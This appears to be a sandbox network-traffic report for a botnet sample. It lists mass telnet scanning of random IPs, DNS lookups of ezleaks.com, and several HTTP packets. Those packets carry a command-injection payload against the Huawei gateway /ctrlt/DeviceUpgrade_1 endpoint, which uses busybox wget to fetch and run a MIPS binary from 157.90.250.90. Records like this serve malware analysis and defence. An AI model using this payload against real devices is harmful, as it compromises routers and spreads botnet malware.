Jan 2, 2024 06:23:52.116012096 CET	80	54678	104.81.147.86	192.168.2.23
Jan 2, 2024 06:23:52.116055012 CET	54678	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:52.116055012 CET	54678	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:52.116126060 CET	80	54666	104.81.147.86	192.168.2.23
Jan 2, 2024 06:23:52.116170883 CET	54666	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:52.116274118 CET	80	54666	104.81.147.86	192.168.2.23
Jan 2, 2024 06:23:52.116309881 CET	54666	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:52.120946884 CET	80	32814	149.57.79.102	192.168.2.23
Jan 2, 2024 06:23:52.120959044 CET	80	32832	149.57.79.102	192.168.2.23
Jan 2, 2024 06:23:52.120996952 CET	32832	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:52.121007919 CET	32832	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:52.121129036 CET	80	32814	149.57.79.102	192.168.2.23
Jan 2, 2024 06:23:52.121140003 CET	80	32814	149.57.79.102	192.168.2.23
Jan 2, 2024 06:23:52.121174097 CET	32814	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:52.121174097 CET	32814	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:52.122850895 CET	80	45040	108.186.216.181	192.168.2.23
Jan 2, 2024 06:23:52.122862101 CET	80	45058	108.186.216.181	192.168.2.23
Jan 2, 2024 06:23:52.122898102 CET	45058	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:52.122898102 CET	45058	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:52.123557091 CET	80	45040	108.186.216.181	192.168.2.23
Jan 2, 2024 06:23:52.123596907 CET	45040	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:52.151457071 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:52.151499033 CET	36382	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:52.203772068 CET	23	48610	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:52.203840971 CET	48618	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:52.213359118 CET	23	51912	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:52.214335918 CET	23	51964	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:52.214380980 CET	51964	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:52.268182993 CET	80	55216	67.207.70.100	192.168.2.23
Jan 2, 2024 06:23:52.268305063 CET	80	55198	67.207.70.100	192.168.2.23
Jan 2, 2024 06:23:52.268373966 CET	55216	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.268374920 CET	55216	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.268533945 CET	80	55198	67.207.70.100	192.168.2.23
Jan 2, 2024 06:23:52.268543959 CET	80	55198	67.207.70.100	192.168.2.23
Jan 2, 2024 06:23:52.268582106 CET	55198	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.268591881 CET	55198	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.270149946 CET	80	52220	54.211.17.190	192.168.2.23
Jan 2, 2024 06:23:52.270201921 CET	52220	80	192.168.2.23	54.211.17.190
Jan 2, 2024 06:23:52.274296999 CET	80	60376	116.203.70.28	192.168.2.23
Jan 2, 2024 06:23:52.274471998 CET	80	60376	116.203.70.28	192.168.2.23
Jan 2, 2024 06:23:52.274482012 CET	80	60376	116.203.70.28	192.168.2.23
Jan 2, 2024 06:23:52.274514914 CET	60376	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.274514914 CET	60376	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.275621891 CET	80	60394	116.203.70.28	192.168.2.23
Jan 2, 2024 06:23:52.275674105 CET	60394	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.275686026 CET	60394	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.275764942 CET	80	54678	104.81.147.86	192.168.2.23
Jan 2, 2024 06:23:52.275805950 CET	54678	80	192.168.2.23	104.81.147.86
Jan 2, 2024 06:23:52.283193111 CET	80	32832	149.57.79.102	192.168.2.23
Jan 2, 2024 06:23:52.283236980 CET	32832	80	192.168.2.23	149.57.79.102
Jan 2, 2024 06:23:52.284744978 CET	23	45206	182.253.187.98	192.168.2.23
Jan 2, 2024 06:23:52.284781933 CET	45206	23	192.168.2.23	182.253.187.98
Jan 2, 2024 06:23:52.284797907 CET	45206	23	192.168.2.23	182.253.187.98
Jan 2, 2024 06:23:52.285588980 CET	37215	24529	197.128.133.145	192.168.2.23
Jan 2, 2024 06:23:52.285890102 CET	80	45058	108.186.216.181	192.168.2.23
Jan 2, 2024 06:23:52.286376953 CET	80	45058	108.186.216.181	192.168.2.23
Jan 2, 2024 06:23:52.286412954 CET	45058	80	192.168.2.23	108.186.216.181
Jan 2, 2024 06:23:52.305815935 CET	34064	37215	192.168.2.23	156.235.102.230
Jan 2, 2024 06:23:52.325129032 CET	23	48618	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:52.325185061 CET	48618	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:52.360358953 CET	80	39170	185.124.143.188	192.168.2.23
Jan 2, 2024 06:23:52.360519886 CET	39170	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.360519886 CET	39170	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.367209911 CET	80	39152	185.124.143.188	192.168.2.23
Jan 2, 2024 06:23:52.371798992 CET	80	39152	185.124.143.188	192.168.2.23
Jan 2, 2024 06:23:52.371936083 CET	39152	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.373397112 CET	80	39152	185.124.143.188	192.168.2.23
Jan 2, 2024 06:23:52.373436928 CET	39152	80	192.168.2.23	185.124.143.188
Jan 2, 2024 06:23:52.386456966 CET	80	46978	160.121.60.205	192.168.2.23
Jan 2, 2024 06:23:52.386506081 CET	46978	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:52.414665937 CET	23	36680	90.117.50.182	192.168.2.23
Jan 2, 2024 06:23:52.414721012 CET	36680	23	192.168.2.23	90.117.50.182
Jan 2, 2024 06:23:52.419091940 CET	37215	24529	197.7.188.48	192.168.2.23
Jan 2, 2024 06:23:52.463407993 CET	23	48618	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:52.463499069 CET	48620	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:52.503763914 CET	80	55216	67.207.70.100	192.168.2.23
Jan 2, 2024 06:23:52.503839016 CET	55216	80	192.168.2.23	67.207.70.100
Jan 2, 2024 06:23:52.515301943 CET	80	60394	116.203.70.28	192.168.2.23
Jan 2, 2024 06:23:52.515346050 CET	60394	80	192.168.2.23	116.203.70.28
Jan 2, 2024 06:23:52.552789927 CET	23	51964	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:52.552812099 CET	23	51964	49.232.101.104	192.168.2.23
Jan 2, 2024 06:23:52.552850962 CET	51964	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:52.552865028 CET	51964	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:52.552884102 CET	51986	23	192.168.2.23	49.232.101.104
Jan 2, 2024 06:23:52.552898884 CET	14265	23	192.168.2.23	91.76.209.99
Jan 2, 2024 06:23:52.552908897 CET	14265	23	192.168.2.23	136.95.137.6
Jan 2, 2024 06:23:52.552911997 CET	14265	23	192.168.2.23	201.118.211.72
Jan 2, 2024 06:23:52.552931070 CET	14265	23	192.168.2.23	2.28.210.222
Jan 2, 2024 06:23:52.552939892 CET	14265	23	192.168.2.23	91.247.106.0
Jan 2, 2024 06:23:52.552939892 CET	14265	23	192.168.2.23	157.92.49.191
Jan 2, 2024 06:23:52.552939892 CET	14265	23	192.168.2.23	49.113.46.182
Jan 2, 2024 06:23:52.552941084 CET	14265	23	192.168.2.23	199.93.31.178
Jan 2, 2024 06:23:52.552947998 CET	14265	23	192.168.2.23	1.216.67.132
Jan 2, 2024 06:23:52.552958965 CET	14265	23	192.168.2.23	39.111.158.252
Jan 2, 2024 06:23:52.552959919 CET	14265	23	192.168.2.23	57.177.101.120
Jan 2, 2024 06:23:52.552983999 CET	14265	23	192.168.2.23	94.133.156.43
Jan 2, 2024 06:23:52.552988052 CET	14265	23	192.168.2.23	132.12.212.40
Jan 2, 2024 06:23:52.552988052 CET	14265	23	192.168.2.23	84.68.2.41
Jan 2, 2024 06:23:52.552988052 CET	14265	23	192.168.2.23	136.28.4.99
Jan 2, 2024 06:23:52.552993059 CET	14265	23	192.168.2.23	96.72.33.59
Jan 2, 2024 06:23:52.553004026 CET	14265	23	192.168.2.23	70.117.89.255
Jan 2, 2024 06:23:52.553009987 CET	14265	23	192.168.2.23	32.69.242.250
Jan 2, 2024 06:23:52.553019047 CET	14265	23	192.168.2.23	36.27.52.205
Jan 2, 2024 06:23:52.553019047 CET	14265	23	192.168.2.23	36.117.47.60
Jan 2, 2024 06:23:52.553028107 CET	14265	23	192.168.2.23	160.217.20.108
Jan 2, 2024 06:23:52.553028107 CET	14265	23	192.168.2.23	5.184.37.37
Jan 2, 2024 06:23:52.553030014 CET	14265	23	192.168.2.23	92.26.147.101
Jan 2, 2024 06:23:52.553033113 CET	14265	23	192.168.2.23	87.184.211.125
Jan 2, 2024 06:23:52.553035975 CET	14265	23	192.168.2.23	24.199.152.197
Jan 2, 2024 06:23:52.553037882 CET	14265	23	192.168.2.23	191.35.127.78
Jan 2, 2024 06:23:52.553049088 CET	14265	23	192.168.2.23	93.57.26.59
Jan 2, 2024 06:23:52.553050995 CET	14265	23	192.168.2.23	132.168.229.222
Jan 2, 2024 06:23:52.553056955 CET	14265	23	192.168.2.23	94.38.253.240
Jan 2, 2024 06:23:52.553056955 CET	14265	23	192.168.2.23	165.23.236.107
Jan 2, 2024 06:23:52.553062916 CET	14265	23	192.168.2.23	80.98.148.187
Jan 2, 2024 06:23:52.553065062 CET	14265	23	192.168.2.23	163.113.85.18
Jan 2, 2024 06:23:52.553065062 CET	14265	23	192.168.2.23	98.172.101.112
Jan 2, 2024 06:23:52.553076982 CET	14265	23	192.168.2.23	93.34.138.168
Jan 2, 2024 06:23:52.553078890 CET	14265	23	192.168.2.23	61.230.178.67
Jan 2, 2024 06:23:52.553088903 CET	14265	23	192.168.2.23	78.34.235.119
Jan 2, 2024 06:23:52.553093910 CET	14265	23	192.168.2.23	100.26.248.247
Jan 2, 2024 06:23:52.553096056 CET	14265	23	192.168.2.23	134.45.193.194
Jan 2, 2024 06:23:52.553107977 CET	14265	23	192.168.2.23	47.189.228.59
Jan 2, 2024 06:23:52.553112030 CET	14265	23	192.168.2.23	148.122.58.168
Jan 2, 2024 06:23:52.553118944 CET	14265	23	192.168.2.23	37.86.112.89
Jan 2, 2024 06:23:52.553131104 CET	14265	23	192.168.2.23	24.164.88.153
Jan 2, 2024 06:23:52.553131104 CET	14265	23	192.168.2.23	34.211.133.221
Jan 2, 2024 06:23:52.553129911 CET	14265	23	192.168.2.23	154.136.58.204
Jan 2, 2024 06:23:52.553144932 CET	14265	23	192.168.2.23	17.185.173.17
Jan 2, 2024 06:23:52.553148031 CET	14265	23	192.168.2.23	17.20.134.109
Jan 2, 2024 06:23:52.553150892 CET	14265	23	192.168.2.23	206.156.122.221
Jan 2, 2024 06:23:52.553154945 CET	14265	23	192.168.2.23	158.129.174.156
Jan 2, 2024 06:23:52.553154945 CET	14265	23	192.168.2.23	31.140.4.199
Jan 2, 2024 06:23:52.553169012 CET	14265	23	192.168.2.23	1.214.98.138
Jan 2, 2024 06:23:52.553169012 CET	14265	23	192.168.2.23	36.96.198.222
Jan 2, 2024 06:23:52.553170919 CET	14265	23	192.168.2.23	1.206.59.74
Jan 2, 2024 06:23:52.553183079 CET	14265	23	192.168.2.23	167.118.160.172
Jan 2, 2024 06:23:52.553195953 CET	14265	23	192.168.2.23	109.93.234.223
Jan 2, 2024 06:23:52.553198099 CET	14265	23	192.168.2.23	81.67.109.93
Jan 2, 2024 06:23:52.553203106 CET	14265	23	192.168.2.23	223.41.255.53
Jan 2, 2024 06:23:52.553206921 CET	14265	23	192.168.2.23	45.6.18.104
Jan 2, 2024 06:23:52.553222895 CET	14265	23	192.168.2.23	65.159.39.117
Jan 2, 2024 06:23:52.553222895 CET	14265	23	192.168.2.23	216.198.93.110
Jan 2, 2024 06:23:52.553225994 CET	14265	23	192.168.2.23	174.27.189.49
Jan 2, 2024 06:23:52.553226948 CET	14265	23	192.168.2.23	177.194.32.248
Jan 2, 2024 06:23:52.553226948 CET	14265	23	192.168.2.23	184.54.37.218
Jan 2, 2024 06:23:52.553236961 CET	14265	23	192.168.2.23	123.159.185.234
Jan 2, 2024 06:23:52.553245068 CET	14265	23	192.168.2.23	60.165.231.79
Jan 2, 2024 06:23:52.553251028 CET	14265	23	192.168.2.23	92.57.71.167
Jan 2, 2024 06:23:52.553252935 CET	14265	23	192.168.2.23	64.45.39.182
Jan 2, 2024 06:23:52.553261042 CET	14265	23	192.168.2.23	150.39.237.176
Jan 2, 2024 06:23:52.553265095 CET	14265	23	192.168.2.23	145.196.88.38
Jan 2, 2024 06:23:52.553270102 CET	14265	23	192.168.2.23	166.30.173.94
Jan 2, 2024 06:23:52.553282976 CET	14265	23	192.168.2.23	159.31.7.19
Jan 2, 2024 06:23:52.553286076 CET	14265	23	192.168.2.23	118.149.159.41
Jan 2, 2024 06:23:52.553292036 CET	14265	23	192.168.2.23	210.65.205.241
Jan 2, 2024 06:23:52.553292990 CET	14265	23	192.168.2.23	96.233.119.180
Jan 2, 2024 06:23:52.553306103 CET	14265	23	192.168.2.23	47.220.226.194
Jan 2, 2024 06:23:52.553308964 CET	14265	23	192.168.2.23	202.11.229.105
Jan 2, 2024 06:23:52.553308964 CET	14265	23	192.168.2.23	132.73.131.153
Jan 2, 2024 06:23:52.553327084 CET	14265	23	192.168.2.23	67.35.174.211
Jan 2, 2024 06:23:52.553329945 CET	14265	23	192.168.2.23	69.67.100.44
Jan 2, 2024 06:23:52.553329945 CET	14265	23	192.168.2.23	111.108.212.186
Jan 2, 2024 06:23:52.553329945 CET	14265	23	192.168.2.23	45.47.10.53
Jan 2, 2024 06:23:52.553344011 CET	14265	23	192.168.2.23	160.206.117.215
Jan 2, 2024 06:23:52.553345919 CET	14265	23	192.168.2.23	141.136.128.187
Jan 2, 2024 06:23:52.553350925 CET	14265	23	192.168.2.23	77.176.180.101
Jan 2, 2024 06:23:52.553363085 CET	14265	23	192.168.2.23	164.8.91.30
Jan 2, 2024 06:23:52.553363085 CET	14265	23	192.168.2.23	207.74.174.12
Jan 2, 2024 06:23:52.553363085 CET	14265	23	192.168.2.23	73.40.120.0
Jan 2, 2024 06:23:52.553363085 CET	14265	23	192.168.2.23	76.157.123.186
Jan 2, 2024 06:23:52.553363085 CET	14265	23	192.168.2.23	9.130.81.205
Jan 2, 2024 06:23:52.553363085 CET	14265	23	192.168.2.23	34.77.87.123
Jan 2, 2024 06:23:52.553379059 CET	14265	23	192.168.2.23	74.111.48.246
Jan 2, 2024 06:23:52.553380966 CET	14265	23	192.168.2.23	216.87.222.179
Jan 2, 2024 06:23:52.553384066 CET	14265	23	192.168.2.23	181.67.156.204
Jan 2, 2024 06:23:52.553400040 CET	14265	23	192.168.2.23	145.96.150.87
Jan 2, 2024 06:23:52.553401947 CET	14265	23	192.168.2.23	128.6.217.201
Jan 2, 2024 06:23:52.553402901 CET	14265	23	192.168.2.23	68.192.130.94
Jan 2, 2024 06:23:52.553401947 CET	14265	23	192.168.2.23	176.251.158.162
Jan 2, 2024 06:23:52.553406000 CET	14265	23	192.168.2.23	199.163.97.161
Jan 2, 2024 06:23:52.553414106 CET	14265	23	192.168.2.23	182.16.209.178
Jan 2, 2024 06:23:52.553416967 CET	14265	23	192.168.2.23	70.184.203.218
Jan 2, 2024 06:23:52.553430080 CET	14265	23	192.168.2.23	57.34.206.245
Jan 2, 2024 06:23:52.553435087 CET	14265	23	192.168.2.23	63.134.119.30
Jan 2, 2024 06:23:52.553435087 CET	14265	23	192.168.2.23	102.160.223.168
Jan 2, 2024 06:23:52.553441048 CET	14265	23	192.168.2.23	218.213.137.99
Jan 2, 2024 06:23:52.553452969 CET	14265	23	192.168.2.23	176.37.13.62
Jan 2, 2024 06:23:52.553452969 CET	14265	23	192.168.2.23	81.151.105.189
Jan 2, 2024 06:23:52.553466082 CET	14265	23	192.168.2.23	89.219.246.22
Jan 2, 2024 06:23:52.553469896 CET	14265	23	192.168.2.23	122.95.3.222
Jan 2, 2024 06:23:52.553471088 CET	14265	23	192.168.2.23	187.106.243.162
Jan 2, 2024 06:23:52.553482056 CET	14265	23	192.168.2.23	81.93.1.49
Jan 2, 2024 06:23:52.553482056 CET	14265	23	192.168.2.23	52.66.224.246

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2024 06:23:41.185658932 CET	192.168.2.23	8.8.8.8	0x681a	Standard query (0)	ezleaks.com	A (IP address)	IN (0x0001)	false
Jan 2, 2024 06:24:21.239294052 CET	192.168.2.23	8.8.8.8	0xed1b	Standard query (0)	ezleaks.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2024 06:23:41.312455893 CET	8.8.8.8	192.168.2.23	0x681a	No error (0)	ezleaks.com		93.123.85.91	A (IP address)	IN (0x0001)	false
Jan 2, 2024 06:24:21.365240097 CET	8.8.8.8	192.168.2.23	0xed1b	No error (0)	ezleaks.com		93.123.85.91	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	34064	156.235.102.230	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:48.382924080 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:49.266235113 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:50.290091991 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:52.305815935 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 